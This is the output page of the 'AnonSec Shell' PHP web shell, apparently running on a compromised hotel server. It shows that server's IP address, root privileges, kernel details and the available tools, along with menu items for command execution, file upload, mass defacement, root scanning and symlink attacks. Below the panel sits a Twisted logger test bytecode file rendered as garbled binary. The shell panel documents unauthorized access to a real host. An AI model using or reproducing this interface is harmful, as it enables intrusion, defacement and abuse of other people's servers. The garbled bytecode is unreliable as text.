AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/logger/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/logger/test/__pycache__/test_logger.cpython-310.pyc
o

�b  �@s�dZddlmZmZmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZdd	lmZmZdd
lmZmZddlmZGdd
�d
e�ZGdd�d�ZGdd�dej�ZdS)z+
Test cases for L{twisted.logger._logger}.
�)�List�Optional�Type�cast)�implementer)�
NamedConstant)�unittest�)�formatEvent)�globalLogPublisher)�ILogObserver�LogEvent)�InvalidLogLevelError�LogLevel��Loggerc	@s2eZdZdZ	d	dedeededdfdd�ZdS)
�
TestLoggerz^
    L{Logger} with an overridden C{emit} method that keeps track of received
    events.
    N�level�format�kwargs�returnc	sltt�dtddf�fdd��}t�|�ztj�||fi|��Wt�|�nt�|�w|||d��_dS)N�eventrcs
|�_dS�N�rr��self��A/usr/lib/python3/dist-packages/twisted/logger/test/test_logger.py�observers
z!TestLogger.emit.<locals>.observer)rrr)	rrr
r�addObserverr�emit�removeObserver�emitted)rrrrrrrrr s
�zTestLogger.emitr)	�__name__�
__module__�__qualname__�__doc__rr�str�objectr rrrrrs�����rc@s<eZdZdZe�Zd	deeddfdd�Zdefdd�Z	dS)
�LogComposedObjectz3
    A regular object, with a logger attached.
    N�statercCs
||_dSr�r*)rr*rrr�__init__7s
zLogComposedObject.__init__cCsd|j�d�S)Nz<LogComposedObject �>r+rrrr�__str__:szLogComposedObject.__str__r)
r#r$r%r&r�logrr'r,r.rrrrr)0s
r)c@s�eZdZdZd dd�Zd dd�Zd dd	�Zd d
d�Zd dd
�Zd dd�Z	d dd�Z
d dd�Zd dd�Zd dd�Z
d dd�Zd dd�Zd dd�Zd dd�ZdS)!�LoggerTestsz
    Tests for L{Logger}.
    rNcCs,d}t|�}|�t|�dt|��d��dS)z"
        repr() on Logger
        �blearghz<Logger r-N)r�assertEqual�repr)r�	namespacer/rrr�	test_reprCs zLoggerTests.test_reprcCst�}|�|jt�dS)z3
        Default namespace is module name.
        N)rr2r4r#�rr/rrr�test_namespaceDefaultKsz!LoggerTests.test_namespaceDefaultcCs.g}tdttd�t��|�|djd�dS)z�
        Default namespace is C{"<unknown>"} when a logger is created from a
        context in which is can't be determined automatically and no namespace
        was specified.
        zresult.append(Logger())rrz	<unknown>N)�exec�dictr�localsr2r4)r�resultrrr�test_namespaceOMGItsTooHardRs�z'LoggerTests.test_namespaceOMGItsTooHardcCs�t�}d�|j|jj�}|�tt|j�j	|�|�tt
ttj�j	|�|�tt
ttj�jt�|�tt|j�j|�|�
t�j�dS)z�
        Default namespace for classes using L{Logger} as a descriptor is the
        class name they were retrieved from.
        z{}.{}N)r)rr$�	__class__r#r2rrr/r4r�assertIs�source�assertIsNoner)r�obj�expectedNamespacerrr�test_namespaceAttribute`s���z#LoggerTests.test_namespaceAttributecsJg�G�fdd�d�}|j�d�|�t��d�|��ddd�dS)zH
        When used as a descriptor, the observer is propagated.
        cseZdZeee�j�d�ZdS)z5LoggerTests.test_descriptorObserver.<locals>.MyObject�rN)r#r$r%rrr�appendr/r��observedrr�MyObject|srH�hello�r�
log_formatN)r/�infor2�len)rrHrrFr�test_descriptorObservervs
z#LoggerTests.test_descriptorObservercCsXtd�}tt|j�}|�d�|�d|j�|�|jd|�t|j�}|�d|�dS)z�
        On instances that have a L{Logger} class attribute, the C{log_source}
        key is available to format strings.
        rIzHello, {log_source}.�
log_sourcez!Hello, <LogComposedObject hello>.N)	r)rrr/�error�assertInrr2r
)rrAr/�stuffrrr�!test_sourceAvailableForFormatting�s

z-LoggerTests.test_sourceAvailableForFormattingcCs�t�}t��D]t}d}|j|jd�}t||j�}||||jd�|�|jd|�|�|jd|�|�|jdd|�|�t	|d�d	�|�|j
d
|�|�|j
d|�|�|j
dt�|�|j
d
�|�|j
d|�|�t
|j
�|�qdS)z]
        Test that log levels and messages are emitted correctly for
        Logger.
        zThis is a {level_name} message)�
level_name)�junkrTrrrrUrzNo event observed.rK�	log_level�
log_namespacerON)rr�
iterconstantsr�name�getattrr2r"�
assertTrue�hasattrrr#r@r
)rr/rr�message�	logMethodrrr�test_basicLogger�s"�zLoggerTests.test_basicLoggercsFtt�dtddf��fdd���G�fdd�d��tt�j���dS)z>
        C{log_source} event key refers to the class.
        rrNcs��|d��dS�NrO�r2r)�Thingorrrr��z0LoggerTests.test_sourceOnClass.<locals>.observerc�eZdZe�d�ZdS)z.LoggerTests.test_sourceOnClass.<locals>.ThingorDN�r#r$r%rr/rrDrrrb��rb�rrr
rrr/rLrr)rbrrr�test_sourceOnClass�szLoggerTests.test_sourceOnClasscsLtt�dtddf��fdd���G�fdd�d�}|��tt�j���dS)zA
        C{log_source} event key refers to the instance.
        rrNcs��|d��dSr`rar)r�thingorrr�rcz3LoggerTests.test_sourceOnInstance.<locals>.observercrd)z1LoggerTests.test_sourceOnInstance.<locals>.ThingorDNrerrDrrrb�rfrbrg)rrbr)rrrir�test_sourceOnInstance�s
z!LoggerTests.test_sourceOnInstancecs4tt�dtddf�fdd��}t|d�}|��dS)z5
        C{log_source} event key is L{None}.
        rrNcs��|d�dSr`)r@rrrrr�sz0LoggerTests.test_sourceUnbound.<locals>.observerrD�rrr
rrL)rrr/rrr�test_sourceUnbound�s
zLoggerTests.test_sourceUnboundcCspt�}ztd��ty|�d�Ynw|�t�}|�t|�d�|�|jdtj�|�|jdd�dS)z?
        Test that log.failure() emits the right data.
        zbaloney!�WhoopsrJrrN)	r�RuntimeError�failure�flushLoggedErrorsr2rMr"r�critical�rr/�errorsrrr�test_defaultFailure�s�
zLoggerTests.test_defaultFailurecCsjt�}|jddtjddd�|�|jdd�|�|jdtj�|�|jd|j�|�|jd	�d
S)zQ
        Make sure that kwargs conflicting with args don't pass through.
        �*�#z*namespace*z*source*)rKrVrWrOrKrVrWrON)r�warnrrPr2rr4r@r6rrr�test_conflictingKwargs�s�z"LoggerTests.test_conflictingKwargscCs.t�}|�d�|�t�}|�t|�d�dS)zA
        Test passing in a bogus log level to C{emit()}.
        z*bogus*rJN)rr rprr2rMrrrrr�test_logInvalidLogLevel�s

z#LoggerTests.test_logInvalidLogLevelcs\tt�dtddf�fdd���tt�dtddf���fdd���t�d���jd	gd
�dS)zE
        Tracing keeps track of forwarding to the publisher.
        rrNcs�|�dSrrrrDrr�	publishersz)LoggerTests.test_trace.<locals>.publishercs��|d��fg�dS)N�	log_tracerar)r/rzrrrrsz(LoggerTests.test_trace.<locals>.observerrDzHello.)r{rkrr)r/rrzrr�
test_traces
zLoggerTests.test_trace)rN)r#r$r%r&r5r7r<rCrNrSr_rhrjrlrtrxryr|rrrrr0>s 












r0N)r&�typingrrrr�zope.interfacer�
constantlyr�
twisted.trialr�_formatr
�_globalr�_interfacesrr
�_levelsrr�_loggerrrr)�TestCaser0rrrr�<module>s

Anon7 - 2022
AnonSec Team